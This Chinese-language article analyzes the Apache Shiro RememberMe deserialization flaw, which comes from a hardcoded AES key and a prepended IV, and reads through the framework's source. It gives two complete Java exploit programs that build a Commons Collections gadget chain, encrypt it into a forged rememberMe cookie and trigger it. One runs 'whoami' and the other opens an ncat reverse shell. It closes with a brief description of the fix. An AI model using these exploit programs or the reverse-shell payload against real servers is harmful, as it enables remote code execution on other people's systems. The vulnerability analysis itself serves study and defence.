Apache Shiro 是一个强大且易用的 Java 安全框架,为应用程序提供身份验证、授权、加密和会话管理四大核心安全功能。该框架设计简洁,通过直观的 API 允许开发者轻松集成安全控制,而无需深入底层复杂的安全机制实现细节。
Shiro 的核心架构基于三大基本概念:
作为核心模块,它具有如下组件:rememberMeManager: 记住我管理器尤其是这个组件,是造成漏洞的关键组件。
// SecurityManager 的主要组件
securityManager = {
authenticator: // 认证器 - 处理登录验证
authorizer: // 授权器 - 处理权限检查
sessionManager: // 会话管理器 - 管理用户会话
cacheManager: // 缓存管理器 - 缓存安全数据
realm: // 领域对象 - 连接安全数据源
rememberMeManager: // 记住我管理器
subjectFactory: // Subject 工厂
}在实际应用中,Shiro 通过简洁的配置即可实现用户登录控制、权限验证、会话管理等常见安全需求,使其成为众多 Java Web 应用的首选安全框架。
Shiro 提供了完整的会话管理实现,支持将会话数据持久化到各种存储介质。在 Web 场景下,Shiro 通常将会话标识(Session ID)存储在 Cookie 中,而完整的会话数据则可能被序列化后存储或传输。
完整的交互逻辑:存在rememberMeManager的情况下
用户请求 → Shiro 过滤器 → 获取 Subject → SecurityManager 协调 → Realm 查询数据
↑ ↓
← 登录状态 ← 认证结果 ← 验证凭证 ← 执行认证 ← 获取认证信息
↓ ↓
← RememberMe 自动登录 ← 解密Cookie ← 验证RememberMe
↓
权限检查 → 执行授权 ← 获取授权信息 ← 查询权限数据用户首次登录并选择"记住我"
1. 用户提交登录表单,勾选"记住我"
2. 创建 UsernamePasswordToken,设置 rememberMe=true
3. Subject.login(token) 执行认证
4. 认证成功后,RememberMeManager 序列化用户身份信息
5. 使用 AES 加密序列化数据
6. 生成 rememberMe Cookie 发送给客户端
后续访问的自动登录流程
1. 用户发起新请求(无有效会话)
2. Shiro 过滤器拦截请求
3. 获取当前 Subject(此时未认证)
4. 检查请求中是否包含 rememberMe Cookie
├── 有 Cookie: 进入 RememberMe 流程
└── 无 Cookie: 重定向到登录页
5. RememberMeManager 提取并解密 Cookie
6. 反序列化获取用户身份信息
7. 重建 Subject 并标记为 remembered
8. 完成自动登录,建立会话
完整认证状态流转
初始状态 → 常规登录 → 已认证状态
↓ ↑
↓ ← 会话过期/关闭
↓
RememberMe登录 → 已记住状态
↓
重新认证 → 已认证状态
↓
登出 → 初始状态Shiro 1.2.5 以下版本中存在一个致命缺陷——框架默认使用了一个公开的 AES 加密密钥。具体而言,在AbstractRememberMeManager类中,加密密钥被硬编码为:
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
此密钥用于对 "Remember Me" 功能的 Cookie 值进行 AES 加密。攻击者一旦获知此密钥,便可对任意恶意序列化数据进行加密,构造出合法的 Shiro Cookie。
漏洞利用流程
攻击者 → 构造恶意序列化数据 → AES加密 → 伪造Cookie → 发送请求
↓
Shiro 接收 → 提取Cookie → 解密数据 → 反序列化 → 执行恶意代码
↓
漏洞触发 ← 命令执行 ← 反射调用 ← 调用链触发既然我们知道产生漏洞的主要原因就是RememberMe这里导致的,所以我们直接到源码中去看看这里是如何实现的,又是如何导致了漏洞的产生。
环境准备:shiro版本1.2.3:pom.xml导入
<dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>1.2.3</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> <version>1.2.3</version> </dependency>
在我们渗透测试过程中,可能我们经常看到这样的页面:有个记住我的功能

然后抓包中,可能经常看到这样的数据,rememberMe=一长串看不懂的内容。并且,服务端返回也有一个这个参数。

既然跟cookie和RememberMe直接相关,直接查找RememberMe的源码:可以看到与它相关的有2个类以及一个接口:他们均实现该接口,并且CookieRememberMeManager extends AbstractRememberMeManager 类之间也是继承关系。

首先从登录这一步开始如下:获取rememberMeManager,肯定是不会为null的,所以会直接调用下面的方法:

直接就进入到了AbstractRememberMeManager类的方法onSuccessfulLogin这里:

进行判断之后,这里正常逻辑,不会有问题,直接会进入下面的方法rememberIdentity:

这里的第一行代码: byte[] bytes = convertPrincipalsToBytes(accountPrincipals);得到了一个字节数组。看名字就像是用来序列化的地方,因为返回了字节数组:看看它的具体实现:

该方法又调用了一个序列化方法,从而得到一个对象的字节数组:就是正常的序列化对象,返回一个字节数组。

然后将得到的数组进行加密:调用encrypt方法:

看看加密这些参数是些什么:第一个参数就是刚才的字节数组,第二个加密参数如下:
重点就是这个加密的地方:

可以看到它使用的是aes加密如下图:

并且如果没有设置encryptionCipherKey这个值,默认是这样的一个字符串“kPH+bIxk5D2deZiIxcaaaA==”


这里就是常说的硬编码,漏洞的产生原因,如果未设置,所有服务器均使用该字符串作为默认

所以只要知道这个字符串,就可以自己加密解密了。这样通过encrypt的加密,就得到了一个加密之后的字节数组。然后回到调用最开始的地方。使用这个字节数组再调用rememberSerializedIdentity这个方法:

就会进入到这里:将该字节数组进行base64编码:然后保存到cookie中:

而再该类的构造函数中是这样给cookie的属性进行了赋值如下:

将rememberme赋值给cookie的name,就变成了我们抓包过程中的那样rememberme=*******

这样每次访问就得到了一个rememberme的cookie,并且是base64编码格式的。
然而我们每次抓包看到的数据是base64编码的数据,但是解码之后也是一堆乱码,在上面的源码分析中我们知道它还使用了aes加密,并且key是使用的默认key。
加密登录小结:
RememberMe加密过程始于用户登录过程点击了记住我的这个功能,Shiro框架的AbstractRememberMeManager会调用rememberIdentity方法。首先,用户身份信息被序列化为字节数组,然后使用AES加密,默认密钥为"kPH+bIxk5D2deZiIxcaaaA=="。加密后的字节数组经过Base64编码,存储到名为"rememberme"的Cookie中。因此,抓包中看到的Cookie值是Base64字符串,直接解码会因AES加密而显示乱码,只有使用相同密钥解密才能还原原始数据。
关键点:序列化 → AES加密(使用默认密钥) → Base64编码 → 存储为Cookie
既然上面是序列化对象,在加密,再编码,那么肯定就有对数据进行先解码,再解密,然后反序列化的过程:
首先就是与上面序列化对应的方法getRememberedSerializedIdentity代码如下:


从request对象中获取cookie的rememberme的base64编码字符串,然后Base64.decode(base64)将其解码成对象的字节数组。返回调用该方法的地方,接着调用convertBytesToPrincipals方法,准备还原成对象。

该方法代码如下:解密该字节数组,然后将该字节数组进行反序列化,并将结果返回:

解密的方法几乎与加密差不多:就是它的逆向操作:使用默认key进行aes解密,如下:

接着就是对该字节数组的反序列化的操作!
我们来看它的反序列化方法干了什么:首先这里与传统的反序列化稍微有点区别,它使用了new ClassResolvingObjectInputStream(bis),然后还是使用父类的反序列化方法。


我们知道如果一个对象重写了readObject(),那么再反序列化的时候,就会调用该对象的重写方法。所以这里就是漏洞产生的原因,如果传入的字节流对象是一个重写了readObject()方法的对象,并且该方法可被利用,那么就可以造成命令执行,常见的如CC链中的反序列化漏洞。所以shiro框架虽然它存在漏洞,但是它也同时依赖执行漏洞的库,属于条件性远程代码执行。Shiro反序列化漏洞本身不直接包含恶意代码执行逻辑。它只是一个 "反序列化入口点" ,真正的漏洞利用依赖于目标应用中存在的可利用的反序列化链(gadget chains)。
对比上面的反序列化代码,与我们自己经常写的一些的最后两行几乎一模一样(***.readObject())。比如我们的CC1的poc中经常会这样写:最后一行的测试代码ois.readObject();触发漏洞:所以这也是为什么它是一个条件性的漏洞。
通过上面的分析我们知道,只需要一个存在漏洞利用链的对象即可。因为将其加密,base64编码是相对容易的事情了。
因为这是一个条件性远程代码执行,所以需要服务器本身就存在反序列化利用链的库,这里使用cc2模拟触发漏洞的整个过程:
其实就很简单了只需要让这个ois对象是我们的恶意对象即可:
那么只需要将CC2利用链的对象转换成对应的字节数组格式即可。而这个字节数组就是rememberme这个cookie的base64字符串,经过解码,解密得到的。接下来就是写个程序将这个恶意对象加密,base64编码即可。
在实现POC之前,我们需要解决如何加密我们的对象。我们看服务端具体如何加密的:

服务端的加密过程,通过这行代码ivBytes = generateInitializationVector(false);得到了一个随机的ivBytes,也就是真正加密的iv的值:进行加密。

最终得到一个使用随机IV,默认key加密的字符串(算上base64的整个过程)。
看看这三行关键代码:
第一个关键代码,将原始的字节数组,使用iv,key进行了加密,得到一个加密之后的字节数组,然后定义了一个长度是iv的长度加上加密字节数组的长度之和的数组。最后2个关键代码:将IV 放在output的前16位,加密后的字节放在剩下的位置上,最终得到加密的数据。相当于加密数据output=IV + 加密数据。最后拿着这个整体的加密数据进行了一次base64编码。这个过程上面有分析。那只要得到加密base64编码的数据,就得到了IV,小伙伴们是不是一下就明白了,其实看似随机iv,其实对我们来说是透明的。
首先解密方法满足第一个条件:


默认为真,所以会直接进入下面的流程:

如图所示,它直接定义了一个16位的全0数组,作为iv。然后就直接将待解密的字节数组的前16位字节,复制给了它。然后对剩下的字节数组进行解密操作,完全是上面加密的逆向操作,上面我们知道,前16位就是真正的IV的值,这大概就是它神奇的地方,可能为了让服务器解密成功设计成这样的,加密是一个随机的iv,但是放在密文中,解密直接得到IV,然后key也是默认的,也就是任意IV,使用默认密钥加密之后,服务端解密都能成功解开。
加密:cookie-->序列化-->byte[]{cookie} -->AES加密:默认key,随机IV加密,拼接16位的IV到字节数组-->byte[]{IV+cookie}-->Base64编码-->Base64(byte[]{IV+cookie})
解密:Base64(byte[]{IV+cookie})-->Base64解码-->byte[]{IV+cookie}-->AES解密:默认key,取出前16位的IV,对剩下字节执行解密-->byte[]{cookie}-->反序列化-->cookie
那自己实现POC是不是就简单的多了,什么都是透明的。
package shiro.com;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.io.DefaultSerializer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception {
/* ==================== 第一部分:使用Javassist动态生成恶意类 ==================== */
ClassPool classPool = ClassPool.getDefault();
// 获取AbstractTranslet类,这是XSLT转换的基类,TemplatesImpl会加载继承它的类
CtClass abstractTransLetClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
// 创建一个名为CC2Test的新类,并继承AbstractTranslet
CtClass CC2TestClass = classPool.makeClass("CC2Test",abstractTransLetClass);
// 获取类的默认构造函数(类初始化器)
CtConstructor ctConstructor = CC2TestClass.makeClassInitializer();
// 在类的静态初始化块(<clinit>)中插入恶意代码。该块在类被加载时自动执行。
ctConstructor.setBody(" try {\n" +
" Process process = Runtime.getRuntime().exec(\"whoami\");\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));\n" +
" String line;\n" +
" while ((line = reader.readLine()) != null) {\n" +
" System.out.println(line);\n" +
" }\n" +
" reader.close();\n" +
" } catch (Exception e) {\n" +
" e.printStackTrace();\n" +
" }");
// 将生成的类转换为字节数组,这是最终要注入的恶意字节码
byte[] bytecode = CC2TestClass.toBytecode();
/* ==================== 第二部分:构造TemplatesImpl对象承载恶意字节码 ==================== */
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
// 设置_name字段,TemplatesImpl要求此字段不能为空
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "aaa");
// 设置_tfactory字段,为TransformerFactoryImpl实例,字节码加载和转换所需
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates, new TransformerFactoryImpl());
// 设置_bytecodes字段,将恶意类的字节码以二维数组形式注入,这是攻击的核心
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
_bytecodesField.set(templates, new byte[][]{bytecode});
/* ==================== 第三部分:构建CC2利用链的核心转换器 ==================== */
// 创建一个InvokerTransformer,它通过反射调用指定对象的指定方法。
// 这里配置为调用"newTransformer"方法,这是触发TemplatesImpl加载恶意类的关键。
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
// 创建TransformingComparator,它是一个比较器,但会将比较的对象先用transformer转换。
// 这里设置其内部的transformer为我们上面定义的invokerTransformer。
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
/* ==================== 第四部分:构建反序列化触发入口PriorityQueue ==================== */
// 创建一个使用自定义比较器(TransformingComparator)的优先队列。
// 当队列需要比较元素(如排序、添加元素)时,就会触发我们的转换链。
PriorityQueue priorityQueue = new PriorityQueue<>(2, transformingComparator);
// 【关键】通过反射强制将PriorityQueue的size字段设置为2。
// 这是因为在序列化时,PriorityQueue会写入size和queue数组。
// 如果只调用add()但后续没有触发序列化,size可能已正确为2。此操作用于确保序列化流中的size值正确,
// 使得反序列化时,队列知道有两个元素需要从流中读取并触发比较。
Class<? extends PriorityQueue> priorityQueueClass = priorityQueue.getClass();
Field sizeField = priorityQueueClass.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.setInt(priorityQueue, 2);
// 通过反射获取PriorityQueue内部的queue数组字段
// 这个数组存储了队列中的实际元素
Field queueField = priorityQueueClass.getDeclaredField("queue");
queueField.setAccessible(true); // 设置可访问,因为queue是私有字段
// 获取队列数组并设置元素
// templates是我们构造的包含恶意字节码的TemplatesImpl对象
// 第二个元素"b"只是一个占位符,用于确保队列中有足够的元素触发比较
Object[] queue = (Object[]) queueField.get(priorityQueue);
queue[0] = templates; // 将恶意templates对象放入队列第一个位置
queue[1] = "aa"; // 将恶意templates对象放入队列第一个位置
/* ==================== 第五部分:Shiro加密与RememberMe Cookie生成 ==================== */
CipherService cipherService = new AesCipherService();
// Shiro默认的AES加密密钥(Base64编码),常用于RememberMe功能
byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
// Shiro的默认序列化器,内部使用ClassResolvingObjectInputStream,使用shiro的加密方法
DefaultSerializer<Object> defaultSerializer = new DefaultSerializer<>();
// 1. 序列化:将构造的PriorityQueue对象序列化成字节数组
byte[] serializeBytes = defaultSerializer.serialize(priorityQueue);
// 2. 加密:使用AES-CBC模式加密序列化数据。Shiro会自动生成IV并拼接到密文前。
byte[] encryptBytes = cipherService.encrypt(serializeBytes, DEFAULT_CIPHER_KEY_BYTES).getBytes();
// 3. 编码:将加密后的字节数组进行Base64编码,形成最终的RememberMe Cookie值
String rememberMe = Base64.encodeToString(encryptBytes);
/* ==================== 第六部分:模拟Shiro服务端解密与反序列化流程 ==================== */
// 1. 确保Base64字符串填充正确,然后解码
String s = ensurePadding(rememberMe);
byte[] base64Bytes = Base64.decode(s);
// 2. 使用相同密钥解密,得到序列化字节数组
byte[] decryptBytes = cipherService.decrypt(base64Bytes, DEFAULT_CIPHER_KEY_BYTES).getBytes();
// 对比原始序列化数据与解密后数据,验证加解密过程是否正确(用于调试)
System.out.println(Arrays.toString(serializeBytes) + "\n" + Arrays.toString(decryptBytes));
javaDeserialize(decryptBytes);//执行反序列化
}
//反序列化方法
public static void javaDeserialize(byte[] bytes) throws IOException, ClassNotFoundException {
// 同时使用Java原生反序列化进行对比测试,通常原生方式能成功触发漏洞。
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
/**
* 确保Base64字符串长度是4的倍数,不足则补'='。
* 这是Shiro内部Base64解码器的原始代码。
*
* @param base64 原始Base64字符串
* @return 正确填充后的Base64字符串
*/
public static String ensurePadding(String base64) {
int length = base64.length();
if (length % 4 != 0) {
StringBuilder sb = new StringBuilder(base64);
for (int i = 0; i < length % 4; ++i) {
sb.append('=');
}
base64 = sb.toString();
}
return base64;
}
}完成之后,再来执行一下:成功触发利用链,执行命令!并且加解密之后得到了同样的字节数组,加密解密没有问题。

改为反弹shell Exp:
package shiro.com;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.io.DefaultSerializer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception {
/* ==================== 第一部分:使用Javassist动态生成恶意类 ==================== */
ClassPool classPool = ClassPool.getDefault();
// 获取AbstractTranslet类,这是XSLT转换的基类,TemplatesImpl会加载继承它的类
CtClass abstractTransLetClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
// 创建一个名为CC2Test的新类,并继承AbstractTranslet
CtClass CC2TestClass = classPool.makeClass("CC2Test",abstractTransLetClass);
// 获取类的默认构造函数(类初始化器)
CtConstructor ctConstructor = CC2TestClass.makeClassInitializer();
// 在类的静态初始化块(<clinit>)中插入恶意代码。该块在类被加载时自动执行。
ctConstructor.setBody(" try {\n" +
" Process process = Runtime.getRuntime().exec(\"ncat -nv 127.0.0.1 4444 -e cmd.exe\");\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));\n" +
" String line;\n" +
" while ((line = reader.readLine()) != null) {\n" +
" System.out.println(line);\n" +
" }\n" +
" reader.close();\n" +
" } catch (Exception e) {\n" +
" e.printStackTrace();\n" +
" }");
// 将生成的类转换为字节数组,这是最终要注入的恶意字节码
byte[] bytecode = CC2TestClass.toBytecode();
/* ==================== 第二部分:构造TemplatesImpl对象承载恶意字节码 ==================== */
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
// 设置_name字段,TemplatesImpl要求此字段不能为空
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates, "aaa");
// 设置_tfactory字段,为TransformerFactoryImpl实例,字节码加载和转换所需
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates, new TransformerFactoryImpl());
// 设置_bytecodes字段,将恶意类的字节码以二维数组形式注入,这是攻击的核心
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
_bytecodesField.set(templates, new byte[][]{bytecode});
/* ==================== 第三部分:构建CC2利用链的核心转换器 ==================== */
// 创建一个InvokerTransformer,它通过反射调用指定对象的指定方法。
// 这里配置为调用"newTransformer"方法,这是触发TemplatesImpl加载恶意类的关键。
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);
// 创建TransformingComparator,它是一个比较器,但会将比较的对象先用transformer转换。
// 这里设置其内部的transformer为我们上面定义的invokerTransformer。
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
/* ==================== 第四部分:构建反序列化触发入口PriorityQueue ==================== */
// 创建一个使用自定义比较器(TransformingComparator)的优先队列。
// 当队列需要比较元素(如排序、添加元素)时,就会触发我们的转换链。
PriorityQueue priorityQueue = new PriorityQueue<>(2, transformingComparator);
// 向队列添加两个元素。注意:这两个元素就是我们的恶意templates对象。
// 在反序列化后,PriorityQueue为了重建堆结构,会调用comparator.compare()来比较元素。
// 此时,TransformingComparator会将传入的templates对象用invokerTransformer转换,
// 即调用 templates.newTransformer(),从而触发恶意类加载并执行静态块中的命令。
priorityQueue.add(templates); // 第一个元素
priorityQueue.add(templates); // 第二个元素(添加两次是为了确保反序列化时会进行比较)
// 【关键】通过反射强制将PriorityQueue的size字段设置为2。
// 这是因为在序列化时,PriorityQueue会写入size和queue数组。
// 如果只调用add()但后续没有触发序列化,size可能已正确为2。此操作用于确保序列化流中的size值正确,
// 使得反序列化时,队列知道有两个元素需要从流中读取并触发比较。
Class<? extends PriorityQueue> priorityQueueClass = priorityQueue.getClass();
Field sizeField = priorityQueueClass.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.setInt(priorityQueue, 2);
// 通过反射获取PriorityQueue内部的queue数组字段
// 这个数组存储了队列中的实际元素
Field queueField = priorityQueueClass.getDeclaredField("queue");
queueField.setAccessible(true); // 设置可访问,因为queue是私有字段
// 获取队列数组并设置元素
// templates是我们构造的包含恶意字节码的TemplatesImpl对象
// 第二个元素"b"只是一个占位符,用于确保队列中有足够的元素触发比较
Object[] queue = (Object[]) queueField.get(priorityQueue);
queue[0] = templates; // 将恶意templates对象放入队列第一个位置
queue[1] = "aa"; // 将恶意templates对象放入队列第一个位置
/* ==================== 第五部分:Shiro加密与RememberMe Cookie生成 ==================== */
CipherService cipherService = new AesCipherService();
// Shiro默认的AES加密密钥(Base64编码),常用于RememberMe功能
byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
// Shiro的默认序列化器,内部使用ClassResolvingObjectInputStream,使用shiro的加密方法
DefaultSerializer<Object> defaultSerializer = new DefaultSerializer<>();
// 1. 序列化:将构造的PriorityQueue对象序列化成字节数组
byte[] serializeBytes = defaultSerializer.serialize(priorityQueue);
// 2. 加密:使用AES-CBC模式加密序列化数据。Shiro会自动生成IV并拼接到密文前。
byte[] encryptBytes = cipherService.encrypt(serializeBytes, DEFAULT_CIPHER_KEY_BYTES).getBytes();
// 3. 编码:将加密后的字节数组进行Base64编码,形成最终的RememberMe Cookie值
String rememberMe = Base64.encodeToString(encryptBytes);
/* ==================== 第六部分:模拟Shiro服务端解密与反序列化流程 ==================== */
// 1. 确保Base64字符串填充正确,然后解码
String s = ensurePadding(rememberMe);
byte[] base64Bytes = Base64.decode(s);
// 2. 使用相同密钥解密,得到序列化字节数组
byte[] decryptBytes = cipherService.decrypt(base64Bytes, DEFAULT_CIPHER_KEY_BYTES).getBytes();
// 对比原始序列化数据与解密后数据,验证加解密过程是否正确(用于调试)
System.out.println(Arrays.toString(serializeBytes) + "\n" + Arrays.toString(decryptBytes));
// 反序列化。
javaDeserialize(decryptBytes);
}
public static void javaDeserialize(byte[] bytes) throws IOException, ClassNotFoundException {
// 用Java原生反序列化进行测试。
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
/**
* 确保Base64字符串长度是4的倍数,不足则补'='。
* 这是Shiro内部Base64解码器的原始代码。
*
* @param base64 原始Base64字符串
* @return 正确填充后的Base64字符串
*/
public static String ensurePadding(String base64) {
int length = base64.length();
if (length % 4 != 0) {
StringBuilder sb = new StringBuilder(base64);
for (int i = 0; i < length % 4; ++i) {
sb.append('=');
}
base64 = sb.toString();
}
return base64;
}
}执行:反弹shell成功.

漏洞产生存在多方面的因素:1.首先是加密使用了默认的key。2.加密结束生成的密文将IV放在前16位字节-正是有了这个步骤,才有了后面同样的解密步骤。3.解密过程将前16位得到的字节作为IV,造成了任意IV加密的数据均可被服务端识别,并解密。
可利用的条件:4.存在有漏洞的其他框架。5.使用了原生的java反序列化方法
shiro反序列化属于条件性触发漏洞,利用是组合攻击:攻击者组合多个组件漏洞形成完整利用链,如下:
第1层:Shiro RememberMe Cookie 处理
↓
第2层:AES 解密(使用硬编码密钥)
↓
第3层:Java 反序列化入口
↓
第4层:寻找合适的 gadget chain
├── Commons Collections 链
├── Commons BeanUtils 链
├── Groovy 链
└── 其他第三方库链
↓
第5层:执行恶意代码
├── Runtime.exec() - 执行系统命令
├── URLClassLoader - 加载远程代码
├── JNDI 注入 - 触发远程类加载
└── 反射调用 - 执行任意方法升级之后的版本它不再使用原生 ObjectInputStream,而是使用了自定义的 ClassResolvingObjectInputStream,并重写了关键的 resolveClass 方法。
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
String className = osc.getName();
// 关键防御:禁止反序列化数组和危险类
if (className.startsWith("[") || className.contains("javax.management.") || ... ) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
return super.resolveClass(osc);
}在修复后的版本中,攻击Payload(即使是正确加密的)在反序列化这个步骤也会被拦截。